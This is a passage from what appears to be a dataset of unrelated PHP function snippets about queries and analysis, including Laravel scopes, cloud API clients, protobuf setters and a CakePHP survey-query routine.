\t\t\t\t\t\t'q'=>$q,\r\n \t\t\t\t\t\t'page'=>$pagination->page,\r\n \t\t\t\t];\r\n \t\t\t\t$query->offset($pagination->offset);\r\n \t\t\t\t$query->limit($pagination->limit);\r\n \t\t\t\t\t\r\n \t\t\t\t$list = $query->all();\r\n \t\t\t\t\t\r\n \t\t\t\t//get users\r\n \t\t\t\t$arrId = [];\r\n \t\t\t\t$arrUser = [];\r\n \t\t\t\t$arrPond = [];\r\n \t\t\t\tif (!empty($list)){\r\n \t\t\t\t\tforeach ($list as $obj){\r\n \t\t\t\t\t\t$arrId[] = $obj->createBy;\r\n \t\t\t\t\t}\r\n \t\t\t\t\t$modelsUser = User::find()->where(['id'=>$arrId])->all();\r\n \t\t\t\t\tif(!empty($modelsUser)){\r\n \t\t\t\t\t\tforeach ($modelsUser as $obj){\r\n \t\t\t\t\t\t\t$arrUser[$obj->id] = $obj->firstName.' '.$obj->lastName;\r\n \t\t\t\t\t\t}\r\n \t\t\t\t\t}\r\n \r\n \t\t\t\t\t$objPond = Pond::find()->orderBy(['id'=>SORT_ASC])->all();\r\n \t\t\t\t\tforeach ($objPond as $dataPond){\r\n \t\t\t\t\t\t$objTypelist = Typelist::find()->where(['id'=>$dataPond->type])->all();\r\n \t\t\t\t\t\tforeach ($objTypelist as $obj){\r\n \t\t\t\t\t\t\t$arrPond[$dataPond->id] = $obj->name.' '.$dataPond->title;\r\n \t\t\t\t\t\t}\r\n \t\t\t\t\t\t\t\r\n \t\t\t\t\t}\r\n \t\t\t\t}\r\n \r\n \t\t\t\t$query = Typelist::find();\r\n \t\t\t\t$query->orderBy(['id'=>SORT_ASC]);\r\n \t\t\t\t$objTypelist = $query->all();\r\n \t\t\t\t$arrTypelist = [];\r\n \t\t\t\tforeach ($objTypelist as $dataTypelist){\r\n \t\t\t\t\t$arrTypelist[$dataTypelist->id] = $dataTypelist->name;\r\n \t\t\t\t}\r\n \t\t\t\t\t\r\n \t\t\t\techo $this->render('analysis', [\r\n \t\t\t\t\t\t'lst' => $list,\r\n \t\t\t\t\t\t'arrTypelist'=>$arrTypelist,\r\n \t\t\t\t\t\t'arrPond' => $arrPond,\r\n \t\t\t\t\t\t'pagination' => $pagination,\r\n \t\t\t\t\t\t'arrUser' =>$arrUser,\r\n \t\t\t\t\t\t'q'=>$q,\r\n \t\t\t\t]);\r\n }", "public function setQuery($var)\n {\n GPBUtil::checkMessage($var, \\Io\\Axoniq\\Axonserver\\Grpc\\Query\\QueryRequest::class);\n $this->writeOneof(2, $var);\n\n return $this;\n }", "public function get_query() {\n\t return $this->decodedWebhook['queryResult']['queryText'];\n }", "public function scopeWhereIsOrganization($query)\n {\n return $query->whereNotNull('organization_goal_id');\n }", "public function ask(Query $query)\n {\n $numOfMatches = preg_match('/(?<query>ASK([^}]+)})/ims', $query);\n if($numOfMatches === 0) {\n throw new RepositoryException(\"Could not find ASK statement in SPARQL query: '\" . str_ireplace(\"\\n\", \"\\\\n\", $query));\n }\n\n $response = $this->_query($query, 'query', 'GET', ContentType::APPLICATION_SPARQL_XML);\n\n if(empty($response)) {\n throw new RepositoryException(\"Invalid endpoint response.\");\n }\n\n try {\n $xmlObject = new \\SimpleXMLElement($response);\n } catch(\\Exception $e) {\n throw new RepositoryException($e->getMessage(), $e->getCode(), $e);\n }\n\n if(!isset($xmlObject->boolean)) {\n throw new RepositoryException(\"Could not interpret response.\");\n }\n\n return ((string)$xmlObject->boolean === \"true\");\n }", "public function hasAnalysis()\n {\n return false;\n }", "public function query()\n {\n $query = Verification::query();\n\n return $this->applyScopes($query);\n }", "public function setQuery($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Cloud\\Datastore\\V1\\Query::class);\n $this->query = $var;\n\n return $this;\n }", "public function query() {\n // Leave empty to avoid a query on this field.\n }", "public function scopeAN($query, $an)\n {\n return $query->where('accession_number', '=', $an);\n }", "protected function getNetworkTrafficAnalysisRequest($network_id)\n {\n // verify the required parameter 'network_id' is set\n if ($network_id === null || (is_array($network_id) && count($network_id) === 0)) {\n throw new \\InvalidArgumentException(\n 'Missing the required parameter $network_id when calling getNetworkTrafficAnalysis'\n );\n }\n\n $resourcePath = '/networks/{networkId}/trafficAnalysis';\n $formParams = [];\n $queryParams = [];\n $headerParams = [];\n $httpBody = '';\n $multipart = false;\n\n\n // path params\n if ($network_id !== null) {\n $resourcePath = str_replace(\n '{' . 'networkId' . '}',\n ObjectSerializer::toPathValue($network_id),\n $resourcePath\n );\n }\n\n // body params\n $_tempBody = null;\n\n if ($multipart) {\n $headers = $this->headerSelector->selectHeadersForMultipart(\n ['application/json']\n );\n } else {\n $headers = $this->headerSelector->selectHeaders(\n ['application/json'],\n ['application/json']\n );\n }\n\n // for model (json/xml)\n if (isset($_tempBody)) {\n // $_tempBody is the method argument, if present\n $httpBody = $_tempBody;\n \n if($headers['Content-Type'] === 'application/json') {\n // \\stdClass has no __toString(), so we should encode it manually\n if ($httpBody instanceof \\stdClass) {\n $httpBody = \\GuzzleHttp\\json_encode($httpBody);\n }\n // array has no __toString(), so we should encode it manually\n if(is_array($httpBody)) {\n $httpBody = \\GuzzleHttp\\json_encode(ObjectSerializer::sanitizeForSerialization($httpBody));\n }\n }\n } elseif (count($formParams) > 0) {\n if ($multipart) {\n $multipartContents = [];\n foreach ($formParams as $formParamName => $formParamValue) {\n $multipartContents[] = [\n 'name' => $formParamName,\n 'contents' => $formParamValue\n ];\n }\n // for HTTP post (form)\n $httpBody = new MultipartStream($multipartContents);\n\n } elseif ($headers['Content-Type'] === 'application/json') {\n $httpBody = \\GuzzleHttp\\json_encode($formParams);\n\n } else {\n // for HTTP post (form)\n $httpBody = \\GuzzleHttp\\Psr7\\build_query($formParams);\n }\n }\n\n // this endpoint requires API key authentication\n $apiKey = $this->config->getApiKeyWithPrefix('X-Cisco-Meraki-API-Key');\n if ($apiKey !== null) {\n $headers['X-Cisco-Meraki-API-Key'] = $apiKey;\n }\n\n $defaultHeaders = [];\n if ($this->config->getUserAgent()) {\n $defaultHeaders['User-Agent'] = $this->config->getUserAgent();\n }\n\n $headers = array_merge(\n $defaultHeaders,\n $headerParams,\n $headers\n );\n\n $query = \\GuzzleHttp\\Psr7\\build_query($queryParams);\n return new Request(\n 'GET',\n $this->config->getHost() . $resourcePath . ($query ? \"?{$query}\" : ''),\n $headers,\n $httpBody\n );\n }", "public function getAnalysisSummary()\n\t {\n\t return $this->_analysisSummary;\n\t }", "public function query() {\n if (!$this->servicesHealthStatus->getFetcherState()) {\n $this->messenger->addError(t('The fetcher services does not responding'));\n return [];\n }\n\n $query = <<<'GRAPHQL'\n query {\n systemField {\n Id\n Label\n }\n reportsType {\n Id\n Label\n }\n fromYearRange {\n Years\n Quarters {\n Id\n Label\n }\n }\n toYearRange {\n Years\n Quarters {\n Id\n Label\n }\n }\n }\n GRAPHQL;\n\n $response = $this->sendQuery($query);\n return json_decode($response, true)['data'];\n }", "protected function getFarmQuery()\n {\n return $this->farmQuery;\n }", "function statistics($query = array()) {\n $params = array_merge($this->_client_id_param, $query);\n return $this->get_request_with_params($this->_base_route.'transactional/statistics', $params);\n }", "public function rules()\n {\n return [\n 'query' => 'required',\n ];\n }", "public function isAnalyzing() {\n\t\treturn $this->_isAnalyzing;\n\t}", "public function metadataQuery(array $metadataQuery = null) {\n if ($metadataQuery === null) {\n return $this->metadataQuery;\n }\n\n $this->metadataQuery = $metadataQuery;\n\n return $this;\n }", "public function aggregation($query) {\n $url = $this->urlWrapper() . URLResources::QUERY_AGGREGATION;\n return $this->makeRequest($url, \"POST\", 0, $query);\n }", "public function testMissingParametersGetRawAnalysisAnalysisId() {\n $this->pingdom->getRawAnalysis(12345678, null);\n }", "public function scopeWhereOrganization($query, $organization)\n {\n if ($organization === null || is_array($organization))\n return $query;\n return $query->select('action_goals.*')\n ->join('organization_goals', 'organization_goals.id', '=', 'action_goals.organization_goal_id')\n ->where('organization_goals.organization_id', is_object($organization) ? $organization->id : $organization);\n }", "public function check_query($project, $query_params, $parent_query_id = 0, $quota = null) {\n\t\tif (!is_null($quota)) {\n\t\t\t$query_name = 'Lucid #' . $project['FedSurvey']['fed_survey_id'] . ' Quota #' . $quota['SurveyQuotaID'];\n\t\t\t$query_old_name = 'Fulcrum #' . $project['FedSurvey']['fed_survey_id'] . ' Quota #' . $quota['SurveyQuotaID'];\n\t\t}\n\t\telse {\n\t\t\t$query_name = 'Lucid #' . $project['FedSurvey']['fed_survey_id'] . ' Qualifications';\n\t\t\t$query_old_name = 'Fulcrum #' . $project['FedSurvey']['fed_survey_id'] . ' Qualifications';\n\t\t}\n\t\t\n\t\t$query = $this->Query->find('first', array(\n\t\t\t'conditions' => array(\n\t\t\t\t'Query.query_name' => array($query_name, $query_old_name),\n\t\t\t\t'Query.survey_id' => $project['Project']['id']\n\t\t\t),\n\t\t\t'order' => 'Query.id DESC' // multiple queries can exist with same name: retrieve the last one\n\t\t));\n\t\t\n\t\tif ($query) {\n\t\t\t$query_id = $query['Query']['id'];\n\t\t}\n\t\t\n\t\tif (isset($query_params['postal_code'])) {\n\t\t\t$query_params['postal_code'] = array_values(array_unique($query_params['postal_code']));\n\t\t}\n\t\t\n\t\t// if we've matched against hispanic, then add the ethnicity values\n\t\tif (isset($query_params['hispanic']) && !empty($query_params['hispanic'])) {\n\t\t\tif (isset($query_params['ethnicity']) && !in_array(4, $query_params['ethnicity'])) {\n\t\t\t\t$query_params['ethnicity'][] = 4; // hardcode hispanics\n\t\t\t}\n\t\t\telseif (!isset($query_params['ethnicity'])) {\n\t\t\t\t$query_params['ethnicity'] = array(4); // hardcode hispanics\n\t\t\t}\n\t\t}\n\n\t\t// Remove duplicates.\n\t\tif (isset($query_params['ethnicity'])) {\n\t\t\t$query_params['ethnicity'] = array_values(array_unique($query_params['ethnicity']));\n\t\t}\n\t\t\n\t\t$create_new_query = false;\n\t\tif (!$query) {\n\t\t\t$create_new_query = true;\n\t\t}\n\t\telseif ($query && json_encode($query_params) != $query['Query']['query_string']) {\n\t\t\t$create_new_query = true;\n\t\t\t$query_history_ids = Set::extract('/QueryHistory/id', $query);\n\t\t\t$this->Query->delete($query_id);\n\t\t\tforeach ($query_history_ids as $query_history_id) {\n\t\t\t\t$this->Query->QueryHistory->delete($query_history_id);\n\t\t\t}\n\t\t\t\n\t\t\t$survey_users = $this->SurveyUser->find('all', array(\n\t\t\t\t'fields' => array('id', 'user_id', 'survey_id'),\n\t\t\t\t'recursive' => -1,\n\t\t\t\t'conditions' => array(\n\t\t\t\t\t'SurveyUser.survey_id' => $project['Project']['id'],\n\t\t\t\t\t'SurveyUser.query_history_id' => $query_history_ids\n\t\t\t\t)\n\t\t\t));\n\n\t\t\t$str = '';\n\t\t\tif ($survey_users) {\n\t\t\t\tforeach ($survey_users as $survey_user) {\n\t\t\t\t\t$count = $this->SurveyUserVisit->find('count', array(\n\t\t\t\t\t\t'conditions' => array(\n\t\t\t\t\t\t\t'SurveyUserVisit.user_id' => $survey_user['SurveyUser']['user_id'],\n\t\t\t\t\t\t\t'SurveyUserVisit.survey_id' => $survey_user['SurveyUser']['survey_id'],\n\t\t\t\t\t\t)\n\t\t\t\t\t));\n\t\t\t\t\t\n\t\t\t\t\tif ($count < 1) {\n\t\t\t\t\t\t$this->SurveyUser->delete($survey_user['SurveyUser']['id']);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$str = 'Survey users deleted.';\n\t\t\t}\n\t\t\t\n\t\t\t$this->ProjectLog->create();\n\t\t\t$this->ProjectLog->save(array('ProjectLog' => array(\n\t\t\t\t'project_id' => $project['Project']['id'],\n\t\t\t\t'type' => 'query.deleted',\n\t\t\t\t'description' => 'Query.id ' . $query_id . ' deleted, because qualifications updated. ' . $str\n\t\t\t)));\n\t\t}\n\t\telseif ($quota) { // Check if quota has changed\n\t\t\t$query_statistic = $this->QueryStatistic->find('first', array(\n\t\t\t\t'conditions' => array(\n\t\t\t\t\t'QueryStatistic.query_id' => $query_id\n\t\t\t\t)\n\t\t\t));\n\t\t\n\t\t\tif ($query_statistic && $query_statistic['QueryStatistic']['quota'] != ($quota['NumberOfRespondents'] + $query_statistic['QueryStatistic']['completes'])) {\n\t\t\t\t$this->QueryStatistic->create();\n\t\t\t\t$this->QueryStatistic->save(array('QueryStatistic' => array(\n\t\t\t\t\t'id' => $query_statistic['QueryStatistic']['id'],\n\t\t\t\t\t'quota' => $quota['NumberOfRespondents'] + $query_statistic['QueryStatistic']['completes'],\n\t\t\t\t\t'closed' => !is_null($quota) && empty($quota['NumberOfRespondents']) ? date(DB_DATETIME) : null\n\t\t\t\t)), true, array('quota', 'closed'));\n\t\t\t}\n\t\t}\n\n\t\tif ($create_new_query) {\n\t\t\tif (count($query_params) == 1 && key($query_params) == 'country') {\n\t\t\t\t$total = FED_MAGIC_NUMBER; // hardcode this because of memory issues\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$results = QueryEngine::execute($query_params);\n\t\t\t\t$total = $results['count']['total'];\n\t\t\t}\n\t\t\t\n\t\t\t$querySource = $this->Query->getDataSource();\n\t\t\t$querySource->begin();\n\t\t\t$this->Query->create();\n\t\t\t$save = $this->Query->save(array('Query' => array(\n\t\t\t\t'parent_id' => $parent_query_id,\n\t\t\t\t'query_name' => $query_name,\n\t\t\t\t'query_string' => json_encode($query_params),\n\t\t\t\t'survey_id' => $project['Project']['id']\n\t\t\t))); \n\t\t\tif ($save) {\n\t\t\t\t$query_id = $this->Query->getInsertId();\n\t\t\t\t$querySource->commit();\n\t\t\t\t$this->Query->QueryHistory->create();\n\t\t\t\t$this->Query->QueryHistory->save(array('QueryHistory' => array(\n\t\t\t\t\t'query_id' => $query_id,\n\t\t\t\t\t'item_id' => $project['Project']['id'],\n\t\t\t\t\t'item_type' => TYPE_SURVEY,\n\t\t\t\t\t'type' => 'created',\n\t\t\t\t\t'total' => $total\n\t\t\t\t)));\n\t\t\t\t\n\t\t\t\t// this is a query filter\n\t\t\t\tif (!is_null($quota)) {\n\t\t\t\t\t$this->QueryStatistic->create();\n\t\t\t\t\t$this->QueryStatistic->save(array('QueryStatistic' => array(\n\t\t\t\t\t\t'query_id' => $query_id,\n\t\t\t\t\t\t'quota' => $quota['NumberOfRespondents'],\n\t\t\t\t\t)));\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$this->ProjectLog->create();\n\t\t\t\t$this->ProjectLog->save(array('ProjectLog' => array(\n\t\t\t\t\t'project_id' => $project['Project']['id'],\n\t\t\t\t\t'type' => 'query.created',\n\t\t\t\t\t'description' => 'Query.id '. $query_id . ' created'\n\t\t\t\t)));\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t// If this query was already sent, then run this new query too\n\t\t\t\tif (isset($survey_users) && !empty($survey_users)) {\n\t\t\t\t\t$this->Query->bindModel(array('hasOne' => array('QueryStatistic')));\n\t\t\t\t\t$query = $this->Query->find('first', array(\n\t\t\t\t\t\t'contain' => array(\n\t\t\t\t\t\t\t'QueryStatistic'\n\t\t\t\t\t\t),\n\t\t\t\t\t\t'conditions' => array(\n\t\t\t\t\t\t\t'Query.id' => $query_id,\n\t\t\t\t\t\t)\n\t\t\t\t\t));\n\t\t\t\t\t\n\t\t\t\t\t// don't full launch if its a sampling project\n\t\t\t\t\tif ($project['Project']['status'] == PROJECT_STATUS_SAMPLING) {\n\t\t\t\t\t\t$setting = $this->Setting->find('first', array(\n\t\t\t\t\t\t\t'conditions' => array(\n\t\t\t\t\t\t\t\t'Setting.name' => 'fulcrum.sample_size',\n\t\t\t\t\t\t\t\t'Setting.deleted' => false\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t));\n\t\t\t\t\t\tif (!$setting) { // set the default if not found.\n\t\t\t\t\t\t\t$setting = array('Setting' => array('value' => 50));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$survey_reach = ($total < $setting['Setting']['value']) ? $total : $setting['Setting']['value'];\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t$survey_reach = MintVine::query_amount($project, $total, $query);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif ($survey_reach == 0) {\n\t\t\t\t\t\t$message = 'Skipped ' . $project['Project']['id'] . ' because query has no quota left';\n\t\t\t\t\t\techo $message . \"\\n\";\n\t\t\t\t\t}\n\n\t\t\t\t\tif ($survey_reach > 1000) {\n\t\t\t\t\t\t$survey_reach = 1000;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$queryHistorySource = $this->Query->QueryHistory->getDataSource();\n\t\t\t\t\t$queryHistorySource->begin();\n\t\t\t\t\t$this->Query->QueryHistory->create();\n\t\t\t\t\t$this->Query->QueryHistory->save(array('QueryHistory' => array(\n\t\t\t\t\t\t'query_id' => $query['Query']['id'],\n\t\t\t\t\t\t'item_id' => $query['Query']['survey_id'],\n\t\t\t\t\t\t'item_type' => TYPE_SURVEY,\n\t\t\t\t\t\t'count' => null,\n\t\t\t\t\t\t'total' => null,\n\t\t\t\t\t\t'type' => 'sending'\n\t\t\t\t\t)));\n\t\t\t\t\t$query_history_id = $this->Query->QueryHistory->getInsertId();\n\t\t\t\t\t$queryHistorySource->commit();\n\t\t\t\t\t$query = ROOT . '/app/Console/cake query create_queries ' . $query['Query']['survey_id'] . ' ' . $query['Query']['id'] . ' ' . $query_history_id . ' ' . $survey_reach;\n\t\t\t\t\tCakeLog::write('query_commands', $query);\n\t\t\t\t\t// run these synchronously\n\t\t\t\t\texec($query, $output);\n\t\t\t\t\tvar_dump($output);\n\t\t\t\t\t$message = 'Query executed: ' . $query;\n\t\t\t\t\techo $message . \"\\n\";\n\t\t\t\t\t\n\t\t\t\t\t$this->ProjectLog->create();\n\t\t\t\t\t$this->ProjectLog->save(array('ProjectLog' => array(\n\t\t\t\t\t\t'project_id' => $project['Project']['id'],\n\t\t\t\t\t\t'type' => 'query.executed',\n\t\t\t\t\t\t'description' => 'Query.id ' . $query_id . ' executed. ' . $query\n\t\t\t\t\t)));\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$querySource->commit();\n\t\t\t}\n\t\t\t\n\t\t\t$this->FedSurvey->create();\n\t\t\t$this->FedSurvey->save(array('FedSurvey' => array(\n\t\t\t\t'id' => $project['FedSurvey']['id'],\n\t\t\t\t'total' => $total\n\t\t\t)), true, array('total'));\n\t\t}\n\t\telse {\n\t\t\t// if its a filter query and parent has been changed, update the parent id\n\t\t\tif ($query['Query']['parent_id'] && $parent_query_id && $query['Query']['parent_id'] != $parent_query_id) {\n\t\t\t\t$this->Query->create();\n\t\t\t\t$this->Query->save(array('Query' => array(\n\t\t\t\t\t'id' => $query['Query']['id'],\n\t\t\t\t\t'parent_id' => $parent_query_id,\n\t\t\t\t)), true, array('parent_id'));\n\t\t\t}\n\t\t}\n\n\t\treturn $query_id;\n\t}", "public function query( $query ) {\n\n if( empty($this->access_token) || empty($this->instance_url) ) {\n return 'Login to Salesforce in order to make queries.';\n }\n\n $url = $this->instance_url . \"/services/data/v20.0/query?q=\" . urlencode($query);\n\n $curl = curl_init($url);\n curl_setopt($curl, CURLOPT_HEADER, false);\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($curl, CURLOPT_HTTPHEADER,\n array(\"Authorization: OAuth \" . $this->access_token));\n\n $json_response = curl_exec($curl);\n curl_close($curl);\n\n $response = json_decode($json_response, true);\n\n return $response;\n }", "public function getAccessibilityAssessment()\n {\n return $this->accessibilityAssessment;\n }", "public function scopeQuery($query)\n {\n // $query->where();\n }", "public function scopePorAnno( $query, $anno=null ) {\n return $query;\n }", "public function describeCacheAnalysisReportListWithOptions($request, $runtime)\n {\n Utils::validateModel($request);\n $query = [];\n if (!Utils::isUnset($request->days)) {\n $query['Days'] = $request->days;\n }\n if (!Utils::isUnset($request->instanceId)) {\n $query['InstanceId'] = $request->instanceId;\n }\n if (!Utils::isUnset($request->nodeId)) {\n $query['NodeId'] = $request->nodeId;\n }\n if (!Utils::isUnset($request->ownerAccount)) {\n $query['OwnerAccount'] = $request->ownerAccount;\n }\n if (!Utils::isUnset($request->ownerId)) {\n $query['OwnerId'] = $request->ownerId;\n }\n if (!Utils::isUnset($request->pageNumbers)) {\n $query['PageNumbers'] = $request->pageNumbers;\n }\n if (!Utils::isUnset($request->pageSize)) {\n $query['PageSize'] = $request->pageSize;\n }\n if (!Utils::isUnset($request->resourceOwnerAccount)) {\n $query['ResourceOwnerAccount'] = $request->resourceOwnerAccount;\n }\n if (!Utils::isUnset($request->resourceOwnerId)) {\n $query['ResourceOwnerId'] = $request->resourceOwnerId;\n }\n if (!Utils::isUnset($request->securityToken)) {\n $query['SecurityToken'] = $request->securityToken;\n }\n $req = new OpenApiRequest([\n 'query' => OpenApiUtilClient::query($query),\n ]);\n $params = new Params([\n 'action' => 'DescribeCacheAnalysisReportList',\n 'version' => '2015-01-01',\n 'protocol' => 'HTTPS',\n 'pathname' => '/',\n 'method' => 'POST',\n 'authType' => 'AK',\n 'style' => 'RPC',\n 'reqBodyType' => 'formData',\n 'bodyType' => 'json',\n ]);\n\n return DescribeCacheAnalysisReportListResponse::fromMap($this->callApi($params, $req, $runtime));\n }", "public function scopeFilter($query)\n {\n $request = request();\n\n if ($request->has('clinic_type_id')) {\n $query->where('clinic_type_id', $request->clinic_type_id);\n }\n\n if ($request->has('sort_by')) {\n $column = $request->sort_by;\n $order = $request->has('order') ? $request->order : 'ASC';\n $query->orderBy($column, $order);\n }\n\n if ($request->has('search')) {\n $keyword = $request->search;\n $query->where('name', 'like', '%'.$keyword.'%')\n ->orWhereHas('clinicType', function ($query) use ($keyword) {\n $query->where('name', 'like', '%'.$keyword.'%');\n });\n }\n }", "function _recast_analysis_api_create($data) {\r\n //we will require all data items to be entered and as such, we will test them all here:\r\n $required_keys = array(\r\n 'username',\r\n 'title',\r\n 'collaboration',\r\n 'e_print',\r\n 'journal',\r\n 'doi',\r\n 'inspire_url',\r\n 'description',\r\n );\r\n \r\n foreach($required_keys as $key) {\r\n if(!array_key_exists($key, $data)) {\r\n return services_error('Missing recast analysis attribute ' . $key, 406);\r\n }\r\n }\r\n \r\n $x = field_info_field('field_analysis_collaboration');\r\n $collaborations = ($x['settings']['allowed_values']);\r\n \r\n if(!in_array($data['collaboration'], $collaborations)) {\r\n $collaborations = implode(',', $collaborations);\r\n return services_error('Invalid collaboration. Only valid collaborations are '. $collaborations, 406);\r\n }\r\n \r\n $usr = user_load_by_name($data['username']);\r\n if($usr === FALSE) {\r\n return services_error('Invalid user', 406);\r\n }\r\n \r\n //if we made it this far, we're golden! Time to create the analysis\r\n $node = new StdClass();\r\n $node->language = LANGUAGE_NONE;\r\n $node->type = 'analysis';\r\n $node->status = 1;\r\n $node->uid = $usr->uid;\r\n $node->title = $data['title'];\r\n $node->field_analysis_collaboration[$node->language][0]['value'] = $data['collaboration'];\r\n $node->field_analysis_journal[$node->language][0]['value'] = $data['journal'];\r\n $node->field_analysis_doi[$node->language][0]['value'] = $data['doi'];\r\n $node->field_analysis_ownership[$node->language][0]['value'] = 0;\r\n $node->field_analysis_owner[$node->language][0]['value'] = '';\r\n $node->field_analysis_inspire[$node->language][0]['url'] = $data['inspire_url'];\r\n $node->field_analysis_eprint[$node->language][0]['url'] = $data['e_print'];\r\n $node->field_analysis_description[$node->language][0]['value'] = $data['description'];\r\n node_save($node);\r\n drupal_add_http_header('URI', $base_url . '/api/recast-analysis/' . $node->uuid);\r\n return $node->uuid;\r\n }", "public function scopeApi($query)\n {\n /** @var User $user */\n $user = \\JWTAuth::parseToken()->authenticate();\n\n if (!$user) {\n throw new AccessDeniedHttpException();\n }\n\n $query->where($query->getModel()->table.'.active', 1);\n\n if (method_exists($query->getModel(), 'village')) {\n $query->where($query->getModel()->table.'.village_id', $user->village->id);\n }\n\n return $query;\n }", "function do_graphql_request($query, $operation_name = '', $variables = [])\n {\n }", "public function getResult()\n {\n if ( $this->analysisResult == null )\n {\n $this->analyze();\n }\n return $this->analysisResult;\n }", "protected function getAccuracyQuery()\n {\n return $this->accuracyQuery;\n }", "public function setQueryInsightsEnabled($var)\n {\n GPBUtil::checkBool($var);\n $this->query_insights_enabled = $var;\n\n return $this;\n }", "public function scopeCompany($query)\n {\n $query->where('company_id', auth()->user()->companyId());\n\n return $query;\n }", "public function createCacheAnalysisTaskWithOptions($request, $runtime)\n {\n Utils::validateModel($request);\n $query = [];\n if (!Utils::isUnset($request->instanceId)) {\n $query['InstanceId'] = $request->instanceId;\n }\n if (!Utils::isUnset($request->ownerAccount)) {\n $query['OwnerAccount'] = $request->ownerAccount;\n }\n if (!Utils::isUnset($request->ownerId)) {\n $query['OwnerId'] = $request->ownerId;\n }\n if (!Utils::isUnset($request->resourceOwnerAccount)) {\n $query['ResourceOwnerAccount'] = $request->resourceOwnerAccount;\n }\n if (!Utils::isUnset($request->resourceOwnerId)) {\n $query['ResourceOwnerId'] = $request->resourceOwnerId;\n }\n if (!Utils::isUnset($request->securityToken)) {\n $query['SecurityToken'] = $request->securityToken;\n }\n $req = new OpenApiRequest([\n 'query' => OpenApiUtilClient::query($query),\n ]);\n $params = new Params([\n 'action' => 'CreateCacheAnalysisTask',\n 'version' => '2015-01-01',\n 'protocol' => 'HTTPS',\n 'pathname' => '/',\n 'method' => 'POST',\n 'authType' => 'AK',\n 'style' => 'RPC',\n 'reqBodyType' => 'formData',\n 'bodyType' => 'json',\n ]);\n\n return CreateCacheAnalysisTaskResponse::fromMap($this->callApi($params, $req, $runtime));\n }", "public function setCriticalAnalysis(string $CriticalAnalysis): self\n {\n $this->CriticalAnalysis = $CriticalAnalysis;\n\n return $this;\n }", "public function getQuery()\n {\n return $this->readOneof(5);\n }", "public function getHttpQuery () {\n\t\t\tif($this->httpQuery) {\n\t\t\t\treturn $this->httpQuery;\n\t\t\t}\n\t\t\t\n\t\t\treturn 'No query initiated yet';\n\t\t}", "protected function getIconFarmQuery()\n {\n return $this->iconFarmQuery;\n }", "public function scopeWhereNotOrganization($query)\n {\n return $query->whereNull('organization_goal_id');\n }", "public function getIamPolicy()\n {\n return isset($this->iam_policy) ? $this->iam_policy : null;\n }", "public function queryRmsAlarmhistoryappstats($request)\n {\n $runtime = new RuntimeOptions([]);\n $headers = [];\n\n return $this->queryRmsAlarmhistoryappstatsEx($request, $headers, $runtime);\n }", "public function analysis() : void\n {\n $this->strategy->analysis();\n }", "public function scopeQuestionByChallengeId($query, $id) {\n return $query->where('challenge_id', $id);\n }", "public function setAnalysisKind($var)\n {\n GPBUtil::checkEnum($var, \\Grafeas\\V1\\NoteKind::class);\n $this->analysis_kind = $var;\n\n return $this;\n }", "public function scopeApp($query)\r\n {\r\n return $query->where('app_id', \\Auth::user()->app_id);\r\n }", "public function scopeApp($query)\r\n {\r\n return $query->where('app_id', \\Auth::user()->app_id);\r\n }", "public function scopeMeasured($query)\n {\n return $query->where('measured', '=', true);\n }", "public function getQueryAst()\n {\n return $this->query_ast;\n }", "public function explain( $query ) {\n return $this->client->rawCommand( 'FT.EXPLAIN', $this->searchQueryArgs( $query ) );\n }", "public function testComAdobeGraniteQueriesImplHcQueryLimitsHealthCheck()\n {\n $client = static::createClient();\n\n $path = '/system/console/configMgr/com.adobe.granite.queries.impl.hc.QueryLimitsHealthCheck';\n\n $crawler = $client->request('POST', $path);\n }", "public function getQuery()\n {\n return $this->readOneof(2);\n }", "public function scopeOfAuthenticatedUser($query)\n {\n $query->whereUserId(Auth::id());\n }", "private function _getOptimizedQuery($query)\n {\n $currentOptimizer = $this->getCurrentOptimizer();\n $currentOptimizer->setCanUseCachedFilter(false);\n return $currentOptimizer->applyOptimizer($query);\n }", "public function scopeConsolidatedAN($query, $c_an)\n {\n return $query->where('consolidated_an', '=', $c_an);\n }", "public function getQuery(){\n \n return $this->query;\n \n }", "public function scopeForOwner($query)\n {\n return $query;\n }", "public function setQuery($var)\n {\n GPBUtil::checkString($var, True);\n $this->query = $var;\n\n return $this;\n }", "public function setQuery($var)\n {\n GPBUtil::checkString($var, True);\n $this->query = $var;\n\n return $this;\n }", "public function queryValues() {\n $values = [\n 'agent_type'=>$this->agent->type,\n 'agent_id'=>$this->agent->id,\n 'role_id'=>$this->agent->roleId(),\n 'resource_type'=>$this->resource->type,\n 'resource_id'=>$this->resource->id,\n 'scope_id'=>$this->scope ? $this->scope->id : null,\n 'actions'=>'%'\n ];\n\n foreach($this->actions as $action) {\n $values['actions'] .= $action->id.'%';\n }\n\n return $values;\n }", "public function scopeScope($query)\n {\n $query->where($this->getTable().'.company_id', '=', auth()->user()->company()->id);\n\n return $query;\n }", "public function setQueryAst($var)\n {\n GPBUtil::checkString($var, True);\n $this->query_ast = $var;\n\n return $this;\n }", "protected function sendQuery($query) {\n if (!$this->servicesHealthStatus->getFetcherState()) {\n $this->messenger->addError(t('The fetcher services does not responding'));\n return [];\n }\n\n $fetcher_address = $this->servicesAddresses->getFetcherAddress();\n $response = $this->httpClient->post($fetcher_address . '/graphql', [\n 'headers' => [\n 'Content-Type' => 'application/json',\n ],\n 'body' => json_encode([\n 'query' => $query,\n ]),\n ]);\n\n return $response->getBody()->getContents();\n }", "public function results()\n {\n if(!(php_sapi_name() == 'cli-server'))\n return 403;\n\n if($this->request->server['REMOTE_ADDR'] != '127.0.0.1' && $this->request->server['REMOTE_ADDR'] != '::1')\n return 403;\n\n $matcher = new SurveyMatcher();\n $matcher->match((isset($this->request->get['limit']) ? $this->request->get['limit'] : null));\n }", "public function setQueryScope($var)\n {\n GPBUtil::checkEnum($var, \\Google\\Cloud\\Firestore\\Admin\\V1\\Index\\QueryScope::class);\n $this->query_scope = $var;\n\n return $this;\n }", "public function scopeSpam($query)\n {\n return 